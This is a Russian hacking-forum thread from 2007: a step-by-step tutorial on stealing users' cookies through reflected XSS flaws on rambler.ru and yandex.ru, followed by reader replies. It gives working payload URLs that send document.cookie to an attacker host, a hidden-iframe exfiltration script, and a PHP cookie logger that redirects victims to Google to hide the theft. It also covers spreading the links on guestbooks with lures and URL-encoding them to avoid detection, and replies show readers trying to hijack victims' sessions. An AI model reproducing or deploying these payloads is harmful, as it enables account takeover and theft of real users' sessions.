Эта статься посвящена в основном новичкам. Я в ней описываю вариант использования XSS на 2х известных ресурсах рунета в подробностях, чтобы всё неясное стало ясным. В статье представлено все необходимое для проведения полноценной атаки типа XSS кража куки, но это не значит, что её надо реализовывать и воровать чужие данные. Я лишь пытаюсь показать, что и у таких крупных ресурсов есть свои дыры. В один из приятных летних вечеров я, как обычно =), зашел на один из форумов по инф. безопасности...Зашел в раздел XSS, увидел туеву хучу уязвимостей на разных сайтах. Ну, подумал я, не любоваться же на них, и начал искать известный сайтик, чтобы провести полноценную атаку =) Но, собственно, меня не интересовали сайты типа kirpich.org.com.net.ru или forum.gallery.garazhiki.us.ua.up.ui.ut, а хотелось чего-то более известного и раскрученного, чем пользуются большинство обычных юзеров...Вскоре на страницах форума я нашёл xss на яндексе и рамблере, что не могло не радовать =) Вот они: Code: http://www.rambler.ru/db/support/feedback.shtml?name="<script>alert(/hello, dear user!!!/)</script> http://www.nco.yandex.ru/?&sort=<script><script>alert(/hello, deaD user!!!/)</script> Дальше... Надо их использовать для своих целей, правильно? А иначе нахрена бы они нам сдались =) Так вот, немного подумав, переписал XSS следующим образом: Code: http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script> http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie );</script> Даже не спрашивайте, почему я написал по-разному...Сам хз, так легли звёзды =) Разберём XSS на www.rambler.ru: Code: http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script> Здесь, вместо банального alert(/hello, юзер/) я вставил код, который загружает js-скрипт с другого сайта...В 1.js я написал скрипт, который вставляет на страницу скрытый фрейм. Фрейм, в свою очередь, обращается к пхп скрипту на сайте Code: src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'"; Т.е. он отправляет GET-запрос на сайт с параметром Code: h=['+location.host+']:'+document.cookie+ В этом параметре передаются хост, с которого был отправлен запрос и, самое важное, cookie юзера. Все эти данные обрабатываются пхп-скриптом и представляются в читабельном виде =) (о пхп дальше...) Вот сорц самого 1.js: Code: document.write('<iframe width=1 height=1 style="position: absolute; visibility: hidden;" src="'+'http://mysite.ru/rec.php'+'?['+location.host+']:'+document.cookie+'"></iframe>'); Теперь разберём XSS на яндексе: Code: http://www.nco.yandex.ru/?&sort=<script><script>document.location.replace('http://mysite.ru/rec.php?'+document.cookie);</script> Здесь я не стал загружать скрипт с удалённого сайта, как в первом случае, а написал сам скрипт, который перенаправляет броузер на мой сайт и передает куки юзера пхп-скрипту... И самое главное, разберём, что же написано в самом пхп-скрипте: Код Code: <?php $fp = fopen("cookies.html","a"); fputs($fp, " <br><br><br>_________[".date("d.m.y H:i")."]<br>". $_SERVER['QUERY_STRING']."<br><br>". " USER_AGENT: ".$_SERVER["HTTP_USER_AGENT"]."<br>". " REMOTE_ADDR: " .$_SERVER["REMOTE_ADDR"]."<br>". " HTTP_REFERER: " .$_SERVER["HTTP_REFERER"] ); fclose($fp); echo "<script>document.location.replace('http://google.com');</script>"; ?> Последней строчкой кода, я перенаправляю страницу с моего сайта на гугль, хы =), далеко не каждый пользователь запалит, что он был на моём сайте, и офигеет, увидев, что он попал на гугль =) После всего проделанного выше, регистрируемся на любом бесплатном хостинге с поддержкой пхп и размещаем в нужном месте нужные файлы. Потом берём подготовленные XSS-ссылки, ищем пару-тройку гостевых книг и пишем там всякую лабуду, вызываюшую интерес, страх и лень(качества присущие всем (= ), и вставляем ссылки =) После того, как юзер зайдет на ссылку у нас остаются логи, прилизительно следующего содержания: Code: _________[05.09.07 15:12] h=[www.some_site.ru]:hotlog=1 USER_AGENT: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6 REMOTE_ADDR: 111.111.111.111 HTTP_REFERER: Field blocked by Outpost Firewall (http://www.agnitum.com) Для меньшего пропаливания xss-ссылок можно использовать перекодировку. Например xss на яндексе после не сложного шифрования будет иметь такой вид: Code: http://www.nco.yandex.ru/?&sort=%3C%73%63%72%69%70%74%3E%3C%73%63%72%69%70%74%3E%64%6F%63%75%6D %65%6E%74%2E%6C%6F%63%61%74%69%6F%6E%2E%72%65%70%6C%61%63%65%28%27%68%74%74%70%3A%2F%2F %6D%79%73%69%74%65%2E%72%75%2F%72%65%63%2E%70%68%70%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E %63%6F%6F%6B%69%65%29%3B%3C%2F%73%63%72%69%70%74%3E Вот, собственно и всё. Если есть замечания или пожелания, пишите здесь или в асю. С наилучшими пожеланиями, FoST 8-794-038. (с) FoST 12.9.2007, 20:47 Впервые статья была опубликована здесь http://forum.prologic.su/index.php?showtopic=1263
Ёпт! А если я бы написал "вид логов такой: [antichat.ru]:пиписька" ты бы спросил, "а что, он получается пиписьки с ачата ворует!? Это примерный вид того, что получается в итоге. в пхп у нас написано вот что: PHP: fputs($fp, " <br><br><br>_________[".date("d.m.y H:i")."]<br>". $_SERVER['QUERY_STRING']."<br><br>". Это значит, скрипт записывает в логи значение переменной $_SERVER['QUERY_STRING'], а она берётся если в адресной строке написать линк следующего вида Code: http://your_site.net/script.php?some_text В моем случае после "?" была стрка hotlog=1, поэтому в логи записалось это: Code: h=[www.some_site.ru]:hotlog=1 Я специально формировал ссылки с XSS чтобы скрипт обращялся к пхп-скрипту и после знака вопроса выставлял document.cookie. Если ещё не понятно, спрашивай, отвечу.
Вот такой вопрос - например я передал ссылку кому-нить, он на неё зашёл - и в лог сохранился куки - а к какой страничке относился этот куки ?
Блин, что-то на рамблере, у мну не пахаит Document.Location.Replace. Зато Document.Location.Href работает. Как через последнее можно передать cookies?
Именно поэтому в статье для xss на рамблере я написал Code: http://www.rambler.ru/db/support/feedback.shtml?name="<script src=http://mysite.ru/1.js></script> вместо document.location.replace. Там какая-то странная фильтрация идет =) Но этот вариант прокатывает.
Блин, а на указание сорца оно ваще не реагирует! Я положил туда алерт - нифига. Стукни в асю, плиз 420-069-087
Кто знает это еще актуально???????Скажите ДА)))хотелось бы знать, а то недавно нашел, хочу провернуть кое-что)
Народ, хэлп! Я сделал все, как написал AFoST.Скрипты брал его, все залил на сервер от freehostia.com Сам зашел, проверить работоспособность - не фига не создал файл. Да, может я что не правильно делаю, как передать себе куки жертвы??с меня ++
Была найдена ошибка в php-сниффере. Присутствовала лишняя фигурная скобочка, исправил, если не поможет, стучи.
Сниффер в изначальном варианте был немного сложнее, была проверка на некоторые параметры, забыл скобочку убрать блииин...
2 AFoST, хотел спросить...вот я все сделал как надо, но у меня нет записей rsid в куках. Есть логин, ruid, а эта чать просто не передается. Помогите пожалуйста!!Нужно что-то добавить? как получить эту часть на rambler.ru